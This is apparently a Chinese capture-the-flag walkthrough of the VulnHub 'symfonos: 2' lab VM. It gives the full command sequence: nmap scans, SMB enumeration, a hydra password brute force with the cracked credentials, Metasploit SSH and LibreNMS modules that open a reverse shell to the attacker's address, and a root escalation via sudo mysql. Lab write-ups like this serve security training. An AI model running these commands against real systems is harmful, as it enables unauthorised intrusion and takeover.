symfonos: 2
来自 <https://www.vulnhub.com/entry/symfonos-2,331/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.253
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.253
端口/协议 | 服务 | 版本 | 关键风险点 | 建议操作 | 漏洞利用示例 | 防御建议 |
21/tcp (FTP) | ProFTPD | 1.3.5 | - CVE-2015-3306(未授权文件操作/RCE) - 匿名登录可能 | - 尝试mod_copy漏洞利用 - 检查匿名登录 | msfconsole<br>use exploit/unix/ftp/proftpd_modcopy_exec<br>set RHOST 目标IP | - 升级ProFTPD版本 - 禁用mod_copy模块 |
22/tcp (SSH) | OpenSSH | 7.4p1 Debian | - 版本较旧,可能存在未知漏洞 - 弱口令风险 | - 暴力破解(需用户列表) - 检查密钥认证配置 | hydra -L users.txt -P passwords.txt ssh://目标IP | - 禁用密码登录,使用密钥认证 - 升级OpenSSH |
80/tcp (HTTP) | WebFS | 1.21 | - 非常见Web服务器,可能存在未公开漏洞 - 目录遍历或敏感文件泄露风险 | - 目录爆破 - 手动检查页面内容及文件 | gobuster dir -u http://目标IP -w 字典路径 | - 替换为Nginx/Apache - 限制目录访问权限 |
139/445/tcp (Samba) | Samba | 4.5.16-Debian | - CVE-2017-7494(SambaCry,RCE) - 未启用SMB签名 - Guest匿名访问可能 | - 枚举共享目录 - 检查可写共享并上传恶意库文件 | smbclient -L //目标IP -N msfconsole<br>use exploit/linux/samba/is_known_pipename | - 升级Samba版本 - 禁用Guest访问 - 启用SMB签名 |
操作系统 | Linux | 内核版本3.2-4.9(Debian) | - 潜在内核提权漏洞(如Dirty Cow、CVE-2021-4034) | - 结合服务漏洞提权 - 检查内核利用链 | searchsploit Linux 3.2 | - 定期更新内核补丁 - 限制低权限用户操作 |
4,分析ftp服务器暴露出来的漏洞,尝试匿名登录访问,失败
ftp anonymous@192.168.23.253
查看共享文件夹,发现存在匿名用户
smbclient -L 192.168.23.253
smbclient //192.168.23.253/anonymous
信息收集得到一个log.txt。从文件当中得到一个用户名aeolus
知道用户名之后, 尝试使用hydra 进行密码爆破
hydra -l aeolus -P /usr/share/wordlists/rockyou.txt ftp://192.168.23.253
成功拿到了账密:aeolus \ sergioteamo
5,再登录ftp服务器
ftp aeolus@192.168.23.253
登录成功,再尝试ssh登录,登录成功
ssh登录发现对用户执行系统命令有诸多限制,尝试将shell迁移到metasploit
msfconsole
search ssh_login
use 0
show options
set rhosts 192.168.23.253
set username aeolus
set password sergioteamo
run
sessions 将sessions 会话升级为一个meterpreter会话 查看sessions 会话
sessions -u 1 升级会话 使用第二个会话
6,成功登录进去,信息收集一下,查看网络相关信息
netstat
8080端口只允许本地访问,那么就需要我做端口转发操作。需要将本地的9999端口映射到靶机的8080端口
ssh -Nf -L 8888:127.0.0.1:8080 aeolus@192.168.23.253
- ssh: 调用SSH客户端。
- N: 不执行远程命令,仅用于端口转发。
- f: 在后台运行SSH客户端。
- L 8888:127.0.0.1:8080: 本地端口转发,格式为 local_port:remote_address:remote_port。将本地的 8888 端口转发到远程主机的 127.0.0.1:8080
- aeolus@192.168.23.253: 连接到远程主机 192.168.23.253 上的用户 aeolus
然后尝试访问本地的8888端口的http服务
对网站指纹进行扫描识别
whatweb -v http://127.0.0.1:8888/login
发现网站使用的是libreNMS 系统,使用msf 查看一下该系统是否存在漏洞
search libreNMS
use 1
show options
set USERNAME aeolus
set PASSWORD sergioteamo
set RHOSTS 127.0.0.1
set RPORT 8888
set LHOST 192.168.23.182
run
成功getshell,使用python获得一个可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
7,信息收集一下,看看怎么提权
sudo -l发现可以使用sudo以root权限执行mysql命令,尝试提权
sudo mysql -e '\! /bin/sh'
成功提权成为root用户,得到flag